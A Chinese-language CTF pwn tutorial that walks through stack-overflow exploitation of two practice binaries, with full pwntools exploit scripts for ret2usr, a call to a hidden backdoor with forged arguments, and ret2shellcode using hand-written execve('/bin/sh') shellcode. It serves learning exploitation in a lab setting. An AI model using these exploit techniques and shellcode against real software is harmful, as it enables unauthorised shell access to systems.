本文通过两个基本实例来演示 PWN 中栈溢出漏洞的利用。在开始之前,请准备好需要的工具:Linux 系统(配好 32 位程序运行环境)、Python 2、pwntools、gdb-peda、IDA 等。
本文用到的可执行文件即脚本文件下载:stack_overflow_examples.zip
overflow0 的利用
代码审计
直接运行
配置好相关环境后,首先尝试直接运行 overflow0 程序,大体了解程序的表现。该程序接受用户输入的字符串,然后再将其原封不动地打印出来。
检查安全性
用 gdb 打开 overflow0,使用 checksec
检查程序的保护机制。
生成伪代码
用 IDA 打开 overflow0,观察代码行为。overflow0 程序逻辑非常简单,在下面伪代码第 7 行处的 gets
未对输入长度做限制,因此存在栈溢出漏洞。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[20]; // [esp+0h] [ebp-18h]
printf("give you a gift:%p\n", buf);
puts("Pleas input something:");
gets(buf);
puts("Your input:");
puts(buf);
return 0;
}
下面我们分别尝试通过 ret2usr 和 ret2shellcode 对此栈溢出漏洞加以利用。ret2usr 是指劫持程序流使其返回到用户已有代码中,ret2shell 是指使程序返回到我们(攻击者)编写的代码中。
栈溢出原理
从伪代码第 3 行的 buf[20]
可以看出缓冲区 buf
的大小为 20 个字节。程序运行时,buf
位于栈上。栈由高地址(栈底方向)向低地址(栈顶方向)增长,寄存器 esp 的值保存指向当前栈顶元素的指针。
从汇编语言的层面来看,调用函数时,程序执行流程是这样的:在进入函数前先将函数参数压栈,然后将返回地址压栈,然后跳转到函数内执行;刚进入函数时会立即将 ebp 压栈,并把当前 esp 赋值给新的 ebp,这就是栈帧的变化。
程序运行到上图黄色方框处时,栈如下图所示,其中蓝色部分为buf
所占的 20 字节(每个方框为 4 字节):
通过观察上图便可发现,如果我们向 buf
内填充 28 个无用字节,就能覆盖图中的 7 个方框,直到“old_ebp”处,然后再用们希望的返回地址覆盖“ret_addr”即可。
以上就是栈溢出漏洞的基本原理及利用思想。
ret2usr
overflow0 程序本身很简单,似乎没有什么值得利用的函数,因此我们通过两个实例使用 ret2usr 分别返回到 main 函数入口处(无参数)和返回到 puts
函数处(有参数),仅用来演示和学习。
调用无参数的函数
我们让程序执行完毕后返回到 main 函数入口处,从而使得程序“从头开始运行”。
在 IDA 中查看 main 函数入口处的地址,为 0x08048370(见下图红色方框)。
事实上,main 函数是有参数的,但是我们并不需要用到 main 的参数,因此可以视其为无参数的函数。要想让程序返回到 main 函数入口处,只需要用 0x08048370 覆盖“ret_addr”即可。
from pwn import *
conn = process('./overflow0')
conn.recvuntil('Pleas input something:')
conn.sendline('A'*28 + p32(0x08048370)) # return to main
conn.interactive()
overflow0 程序本应在打印出“Your input:”以及用户输入后立即退出,而在下图红色箭头处可以看到程序又从 main 函数开头处运行了,所以我们已经成功劫持程序运行流,使其返回 main 函数了。
调用有参数的函数
我们计划让程序返回到 puts
函数,并打印出 “Pleas input something:” 这段字符串,然后再返回回 main 函数入口处。
前面说过了,在调用有参数的函数前,会先将参数压栈,然后将返回地址压栈,接下来才进入函数;进入函数后,依然是先把 ebp 压栈以调整栈帧;在函数内,参数从栈上获取。
用 IDA 得到 puts
函数的地址,为 0x08048340。
在 IDA 中按下 shift + F12,查找“Pleas input something:” 这段字符串的地址,为 0x08048564。
函数和数据的地址都准备了,接下来我们希望将栈填充成下图这样,其中 “ret_addr” 要用 main 函数入口地址覆盖,也就是 0x08048370。
编写 exp:
from pwn import *
puts_addr = 0x08048340
main_addr = 0x08048370
str_addr = 0x8048564
conn = process('./overflow0')
conn.recvuntil('Pleas input something:')
exp = 'A' * 28
exp += p32(puts_addr) # return to puts
exp += p32(main_addr) # address of main
exp += p32(str_addr) # parameter of puts
conn.sendline(exp)
conn.interactive()
观察效果,如下图所示,红色箭头处表示成功调用 puts
函数并打印了期望的字符串,橙色箭头表示返回到了 main
函数入口处。
ret2shellcode
ret2shellcode 的目的是 GetShell,即从程序中获取到 shell 权限。在 ret2shellcode 中,需要将我们编写的 shellcode 作为输入的一部分。由于程序运行时栈的地址是不确定的,因此 ret2shellcode 难点就在于如何确定 shellcode 的地址。
在 overflow0 中,程序很贴心地给出了 buf
的内存地址(gift),从而能够让我们推算出整个栈的地址,因此就能够计算出 shellcode 的地址了。
ret2shellcode 中,我们要将栈填充成下面这样:
shellcode 的地址比 buf
的地址高 32 个字节(即 8 个方框)。
至于 shellcode 本身,可以使用 pwntools 内置的 shellcraft,只需提前在上下文指定好程序的架构,然后使用 asm(shellcraft.sh())
即可得到编码好的 shellcode。构造 exp 如下:
from pwn import *
context.arch = 'i386'
context.endian = 'little'
conn = process('./overflow0')
conn.recvuntil('gift:')
buf_addr = int(conn.recvuntil('\n'), 16)
conn.recvuntil('Pleas input something:')
conn.sendline('A'*28 + p32(buf_addr+32) + asm(shellcraft.sh())) # ret2shellcode
conn.interactive()
运行脚本,即成功 GetShell,在交互模式中可以运行 shell 命令。
overflow1 的利用
代码审计
直接运行
与 overflow0 类似,overflow1 同样是接受用户输入,然后再打印出来。如图,输入的字符串比较长,然后就触发了段错误,因此可能存在栈溢出漏洞。
检查安全性
用 gdb 打开 overflow1,使用 checksec
检查程序的保护机制。
生成伪代码
打开 IDA,看到程序中存在几个比较特殊的函数,一个是 greet
,一个是 backdoor
。
先查看 main
的伪代码:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char name[100]; // [esp+4h] [ebp-6Ch]
welcome();
printf("Here is your gift:%p.Please input your name!\n", name);
name[read(0, name, 0x63u) - 1] = 0;
greet(name);
return 0;
}
这里有个长度为 100 个字节的缓冲区 name
,伪代码第 7 行使用 read()
读取输入,且做了长度限制(0x63 = 99),因此这里不存在栈溢出。接下来,第 8 行处调用了 greet()
,那么我们进入 greet
函数看一看。
void __cdecl greet(char *in)
{
char name[15]; // [esp+1h] [ebp-Fh]
memmove(name, in, 0x64u);
printf("Hello, %s!.\n", name);
}
greet
函数第 5 行把长度为 100 个字节的 in
(来自参数)给移动到了只有 15 个字节大小的缓冲区 name
,因此存在栈溢出漏洞,可以加以利用。
再来看看 backdoor
函数,它接受三个 int 参数,并且当这三个参数满足一定条件时,就会调用 system("/bin/sh")
。值得注意的是,在 overflow1 中,无论是 main
还是 greet
都没有主动地调用 backdoor()
,因此需要我们利用漏洞进行调用。
void __cdecl __noreturn backdoor(int x, int b, int c)
{
if ( x != 0xFFFF || b != 1 || c != 43690 )
puts("you fail");
else
system("/bin/sh");
while ( 1 )
;
}
通过溢出调用 backdoor 函数
确定返回地址的偏移量
栈溢出漏洞存在于 greet
函数中,因此考虑用 backdoor
的地址覆盖 greet
的返回地址。
首先我们要确定输入的哪几个字节会覆盖返回地址。通过代码审计以及手动推算应该可以算出来,但通过强大的 pwntools 和 gdb-peda,我们可以更轻松地完成这一工作。
进入 Python 交互模式(即解释器),然后依次引入 pwntools 模块、启动进程并启动 gdb。
>>> from pwn import *
>>> conn = process('./overflow1')
[x] Starting local process './overflow1'
[+] Starting local process './overflow1': pid 2375
>>> gdb.attach(conn)
[*] running in new terminal: /usr/bin/gdb -q "./overflow1" 2375 -x "/tmp/pwnkXaZfc.gdb"
[x] Waiting for debugger
[+] Waiting for debugger: Done
2379
>>> conn.sendline(cyclic(100))
cyclic(100)
用于生成长为 100 字节的“有规律的”字符串,我们用它来泄露返回地址的偏移量。执行以上脚本后,在新终端窗口的 gdb 中输入 c
使程序继续运行,接下来会报错,因为返回地址被我们覆盖成了无效的地址。此时,我们检查寄存器 eip 中的值:
得到出错 eip 的值为“afaa”。回到 Python 交互界面:
>>> cyclic_find('afaa')
19
所以返回地址的偏移量为 19(偏移量是指相对输入缓冲区起始位置的偏移量)。
从 IDA 获取 backdoor
函数的入口地址。然后编写 exp,尝试进入返回到 backdoor
函数:
from pwn import *
conn = process('./overflow1')
conn.recvuntil('Please input your name!')
conn.sendline('A'*19 + p32(0x0804853A))
conn.interactive()
打印出“you fail”,而这个字符串显然是来自 backdoor
函数的。
设置正确的参数
回到 IDA,继续观察 backdoor
函数,发现能够调用 system("/bin/sh")
的条件是 x==0xFFFF && b== 1 && c== 43690
。在程序运行的过程中,参数列表会按照从右往左的顺序压栈,因此 c 先被压栈,位于高地址;b 其次;x 最后被压栈,位于低地址。由于写缓冲区的时候是从低地址开始向高地址增长的,所以构造参数的顺序依次是:0xFFFF、1、43690。
不要忘了,在栈帧起始处(ebp)和参数列表之间,还有一个 backdoor
的主调函数的返回地址,用来在 backdoor
函数结束之后返回。在这里,我们只需要通过 backdoor
来 GetShell 即可,这个返回地址对我们来说没有意义,所以就随便设置个值占位即可。这里,我使用了大家都喜欢用的 0xDEADBEEF
。
最终 exp 为:
from pwn import *
conn = process('./overflow1')
conn.recvuntil('Please input your name!')
conn.sendline('A'*19 + p32(0x0804853A) +p32(0xDEADBEEF) + p32(0xFFFF) + p32(1) + p32(43690))
conn.interactive()
成功 GetShell:
ret2shellcode
确定 shellcode 的地址
难点依然是确定 shellcode 的地址。与上面的 overflow0 不同,overflow1 中的 gift 给出的是 main
函数里的缓冲区地址(大小为 100 字节),而实际发生栈溢出的是 greet
函数内的缓冲区(大小为 15 字节)。所以我们要先想办法算出 shellcode 的地址。
greet
函数由 main
函数调用,因此 greet
的栈帧地址比 main
的更低(栈由高地址向低地址增长),所以 shellcode 的地址应该是 gift 所给出的地址减去一个正的差值。可以使用 pwntools 的 cyclic()
结合 gift 泄露出的地址作差得到这个差值。
进入 Python 交互模式,依次执行:
>>> from pwn import *
>>> conn = process('./overflow1')
[x] Starting local process './overflow1'
[+] Starting local process './overflow1': pid 2032
>>> gdb.attach(conn)
[*] running in new terminal: /usr/bin/gdb -q "./overflow1" 2032 -x "/tmp/pwn_E1WmW.gdb"
[x] Waiting for debugger
[+] Waiting for debugger: Done
2036
>>> conn.recvuntil('gift:')
' _ _____ _ ____ ____ _ _____\n/ \\ /|/ __// \\ / _\\/ _ \\/ \\__/|/ __/\n| | ||| \\ | | | / | / \\|| |\\/||| \\ \n| |/\\||| /_ | |_/\\| \\__| \\_/|| | ||| /_ \n\\_/ \\|\\____\\\\____/\\____/\\____/\\_/ \\|\\____\\\n \n\nHere is your gift:'
>>> buf_addr = int(conn.recvuntil('.')[:-1], 16)
>>> print '%#x'%buf_addr
0xffbf6da4
>>> conn.recvuntil('Please input your name!')
'Please input your name!'
>>> conn.sendline('A'*19 + 'B'*4 + p32(0xDEADBEEF))
以上脚本中,使用 0xDEADBEEF 作为标记来指示 shellcode 的地址。所以,在本例中,shellcode 的地址是0xffbf6d98(见上图红色方框),而 gift 泄露出的地址是 0xffbf6da4(见上方交互脚本中 print
的结果),作差即可得到我们想要的差值,0xffbf6da4 - 0xffbf6d98 = 0xC = 12。也就是说,shellcode 的地址等于 buf_addr-12
(buf_addr
由 gift 泄露)。
手动编写 shellcode
我们的目标是执行 execve("/bin/sh", 0, 0)
。查资料的值该函数对应的汇编语句是功能号为 al=0xB
的系统调用 int 0x80
。第一个参数的地址由寄存器 ebx 给出。所以我们先把字符串“/bin/sh”(记得末尾的结束符)放到栈上,然后把其地址传给 ebx,再设置好功能号后进行系统调用即可。
shellcode 如下:
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
xor eax, eax
mov al, 0xB
int 0x80
pwntools 的 asm()
可以用于编译汇编代码。
有了 shellcode 本身,也有了 shellcode 的地址,可以写脚本了。
from pwn import *
conn = process('./overflow1')
conn.recvuntil('gift:')
buf_addr = int(conn.recvuntil('.')[:-1], 16)
print '%#x'%buf_addr
shellcode = '''
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
xor eax, eax
mov al, 0xB
int 0x80
'''
conn.recvuntil('Please input your name!')
conn.sendline('A'*19 + p32(buf_addr-12) + asm(shellcode))
conn.interactive()
成功 GetShell:
本文地址:https://www.jeddd.com/article/ctf-pwn-two-stack-overflow-examples.html